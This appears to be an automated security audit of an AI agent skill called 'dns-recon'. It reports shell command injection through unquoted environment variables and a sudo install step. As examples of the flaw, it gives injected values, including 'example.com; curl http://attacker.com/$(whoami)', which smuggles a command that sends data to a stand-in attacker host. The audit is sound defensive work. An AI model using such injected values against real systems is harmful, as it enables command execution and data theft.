dns-recon
Fail
Audited by Gen Agent Trust Hub on May 9, 2026
Risk Level: HIGHCOMMAND_EXECUTIONCOMMAND_EXECUTIONSAFE
Full Analysis
- [COMMAND_EXECUTION]: The skill is highly vulnerable to shell command injection via input environment variables.
- The variable
SECSKILL_DNS_RESOLVERis used to constructRESOLVER_OPTin Step 1, which is then used unquoted across all steps (e.g.,dig $RESOLVER_OPT "$TARGET"). An attacker could set this variable to8.8.8.8; <malicious_command>to execute arbitrary code. - In Step 6, the variable
TARGET(derived fromSECSKILL_TARGET_DOMAIN) is used unquoted in commands likedig $RESOLVER_OPT $TARGET A. If the domain contains shell metacharacters (e.g.,example.com; curl http://attacker.com/$(whoami)), it will result in command execution. - [COMMAND_EXECUTION]: The skill suggests using
sudoto install packages (dnsutils,bind-utils) during the prerequisite phase. While common for system utilities, it requires the agent or user to have elevated privileges. - [COMMAND_EXECUTION]: The skill processes output from external DNS queries (specifically
dig ... NS +short) and iterates over it in awhile readloop. A malicious DNS server returning crafted records could potentially influence shell behavior, although the use ofdig +shortand quoting"$NS"in most places provides some mitigation.
Recommendations
- AI detected serious security threats
Audit Metadata